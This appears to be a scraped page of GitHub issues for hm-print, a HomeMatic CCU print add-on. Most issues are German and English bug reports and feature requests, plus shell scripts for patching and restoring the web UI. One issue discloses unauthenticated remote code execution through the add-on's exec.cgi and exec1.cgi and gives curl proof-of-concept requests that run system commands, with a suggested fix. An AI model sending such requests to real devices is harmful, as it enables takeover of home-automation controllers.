homematic-community / hm-print Goto Github PK
View Code? Open in Web Editor NEWA fork of the HomeMatic CCU Addon "ProgrammeDrucken" from http://homematic-forum.de/forum/viewtopic.php?f=41&t=19296
A fork of the HomeMatic CCU Addon "ProgrammeDrucken" from http://homematic-forum.de/forum/viewtopic.php?f=41&t=19296
Hallo,
nach der Installation von hm-print 2.3 erscheint unter Startseite > Programme und Verknüpfungen > Programme keine Schaltfläche für Programme drucken. Auch unter den einzelnen Programmen befindet sich kein Button zum drucken.
Umgebung: RaspberryMatic 3.53.30.20201024
Addons: Email 1.7.1, Cuxd 2.4.4, Philips Hue 3.1.0
Browser: Chrome 87.0.4280.88 (Official Build) (x86_64), Safari 14.0.1 (15610.2.11.51.10, 15610)
Im Log sind keine Fehler enthalten.
Hallo,
Kann es sein das das Addon unter Intel NUC RaspberryMatic nicht kompatibel ist. Kann es installieren aber es wir mir dann nichts zusätzlich angezeigt in den Programmen ?
Liebe Grüße,
Markus
Auf der CCU2 mit der Firmware 2.55.5 wurde HM-Print Version 2.3 installiert.
Im Gegensatz zu früher taucht die Option Programme drucken unter
Programme und Zentralverknüpfungen / Programm bearbeiten
nicht mehr auf.
Habe ich eine Möglichkeit dies zu ändern?
Vieln Dank schon mal für die Antwort.
Grüße - Reiner
The Button "Programme drucken" has disappeared in CCU3 firmware 3.53.26, even though the addon is still installed. Downgrading the firmware makes the button appear again, so it is clearly a firmware compatibility issue.
Drucken Version 1.2a, pivCCU 2.31.25
When I print the settings of my floor heating controller, the printout shows under "interval for decalcification run" not active but under settings it is set to 1 day! So there is a discrepancy between settings and printout. Where does the printout get its data then from?
Hallo
Unter welcher Lizenz wurde dieses Tool veröffentlicht?
Kann die Lizenz-Frage jemand beantworten?
Danke!
Just in case the HM Print AddOn is a popular installed software, it can be used by an unauthenticated attacker with access to the web interface for any Remote Code Execution on Homematic CCU.
You may add a login session validation to exec.cgi/exec1.cgi as shown in PR homematic-community/XML-API#31 for XML-API
Otherwise such calls are possible:
curl -X POST -i 'http://1.2.3.4/addons/print/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec1.cgi' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec1.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec1.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec1.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
curl -X POST -i 'http://1.2.3.4/addons/print/exec1.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
Lines 3 to 4 in 8625e5f
Müsste das nicht auf homematic-community
geändert werden?
Behaviour: missing Drucken-Button in Geräteeinstellungen site
expected: there should be a Drucken Button
Issue:
due to the design change from "Abbrechen" to "Zurück" the code of the hm-print-Addon could not identify the page correctly.
In line https://github.com/homematic-community/hm-print/blob/master/rc.d/programmedrucken#L40-L41
searching for "footerBtnCancel" fails. It needs to search for "footerBtnPageBack" at firmware later than 3.59.6
see also dicsussion https://homematic-forum.de/forum/viewtopic.php?f=19&t=73989#p717038
Whenever all scripts from a CCU are generated with hm-print, those carrying the "|" = "vertical bar" in the description don't show up.
This one character as the causing factor that took me a while to discover ...
As I did not find this as a limitation, maybe it's added somewhere or this character could be parsed properly in one of the future releases.
btw a great add-on, which I would not like to miss :-)
Thanks for this great add-on
Heinz
Dear all,
is it possible to install the downloaded zip-file into a CCU3?
I can't find in the repository a tar.gz installation file.
Do i need new glasses?
Kind regards.
Um ggf. auch eine Teildokumentation erstellen zu können, wäre es m.E. sinnvoll, den Druck auf die in der WebUI gefilterten Programme einzugrenzen.
Ansonsten: Vielen Dank für dieses hilfreiche Tool :-)
VG, Jörg
Klicke ich im Fenster "Einstellungen > Systemsteuerung > Zusatzsoftware" auf den Link zum Add-On (um bspw. eine neue Version zu downloaden) lädt der Browser die Github Seite im aktuellen Browser-Tab und ich "verlasse" damit meine WebUI.
Besser wäre es beim Klick auf den Link diesen in einem neuen Browser-Tab zu öffnen.
Anmerkung:
Das "Problem" besteht bei vielen Add-On's. Eine mir bekannte Ausnahme ist Redmatic von hobbyquaker. Dort wird der Link immer in einem neuen Tab geöffnet.
In Kombination mit anderen AddOn ist das Restore Konzept ungünstig, bei uninstall die alten Backup-Copies einfach wieder zu restoren ohne Rücksicht auf Änderungen die andere AddOn in der Zwischenzeit gemacht haben.
Da bin ich neulich wieder drauf reingefallen (kein Drucken Button).
Das betraf vor allem die Datei /www/rega/pages/tabs/admin/views/programs.htm, welche auch von Jeromes JP-HB-Devices-addon gepatched wird (und auch mein abgeleitetetes -Reduced AddOn)
Mein Vorschlag wäre, für programs.htm den uninstall genau so mit sed wie den install vorzunehmen, nur reverse.
Meine Tests dazu waren ok, konnte aber nur auf RM testen:
patch
#!/bin/sh
# String to include the functions.js for Programm/s
SSTRINGZWO="setFooter(s);"
RSTRINGZWO="setFooter(s); var scriptpp = document.createElement(\"script\"); scriptpp.type = \"text/javascript\"; scriptpp.src = \"/addons/print/functions.js\"; \$(\"body\").appendChild(scriptpp);"
# String to include the print button in single "Programm"
SSTRING="<td style='text-align:center; vertical-align:middle;'><div class='FooterButton CLASS04801' onclick='new HMScriptExecutor();'>\${footerBtnTestScript}</div></td>"
RSTRING="<td style='text-align:center; vertical-align:middle;'><div class='FooterButton CLASS04801' onclick='new HMScriptExecutor();'>\${footerBtnTestScript}</div></td><td style='text-align:center; vertical-align:middle;'><div class='FooterButton' onclick='PrintPage();'>Drucken</div></td>"
FNAME=/tmp/test/programs.htm
FNAMESAVE=${FNAME%.htm}.save
cp $FNAME $FNAMESAVE
sed -i "s|$SSTRING|$RSTRING|g" $FNAME
sed -i "s|$SSTRINGZWO|$RSTRINGZWO|g" $FNAME
restore
#!/bin/sh
# String to include the functions.js for Programm/s
SSTRINGZWO="setFooter(s);"
RSTRINGZWO="setFooter(s); var scriptpp = document.createElement(\"script\"); scriptpp.type = \"text/javascript\"; scriptpp.src = \"/addons/print/functions.js\"; \$(\"body\").appendChild(scriptpp);"
# String to include the print button in single "Programm"
SSTRING="<td style='text-align:center; vertical-align:middle;'><div class='FooterButton CLASS04801' onclick='new HMScriptExecutor();'>\${footerBtnTestScript}</div></td>"
RSTRING="<td style='text-align:center; vertical-align:middle;'><div class='FooterButton CLASS04801' onclick='new HMScriptExecutor();'>\${footerBtnTestScript}</div></td><td style='text-align:center; vertical-align:middle;'><div class='FooterButton' onclick='PrintPage();'>Drucken</div></td>"
FNAME=/tmp/test/programs.htm
FNAMESAVE=${FNAME%.htm}.save
sed -i "s|$RSTRING|$SSTRING|g" $FNAME
sed -i "s|$RSTRINGZWO|$SSTRINGZWO|g" $FNAME
ich mache erst mal bewusst keinen PR sondern eine issue da noch ein PR offen ist und ich nicht weiß wie der Status der Weiterentwicklung von hm-print ist.
Weitere Beobachtungen:
Alle if Abfragen werden bei jedem Start des Systems ausgeführt, ein besserer Stil imho wäre ein Flag zu haben ob das AddOn installiert ist oder nicht a la
https://github.com/jp112sdl/JP-HB-Devices-addon/blob/master/src/rc.d/jp-hb-devices-addon#L69
und dann nur einmalig ausführen
Jede if Bedingung hat innerhalb ein extra mount RW/RO. Effizienter wäre ein einziges RW/RO "außen" beim install. Hängt natürlich auch mit 1. zusammen.
programs.org sieht wie ein ungenutzter Rest von früher aus da sonst immer nur mit programs.org1 gearbeitet wird:
https://github.com/homematic-community/hm-print/blob/master/rc.d/programmedrucken#L162
Nach meinen Beobachtungen braucht hm-print ein restart auf RM wenn es nicht installiert war, das belegen auch Beiträge von usern im HM Forum thread zu diesem AddOn. Insofern sollte man imho zumindest für RM den Neustart erwzingen.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.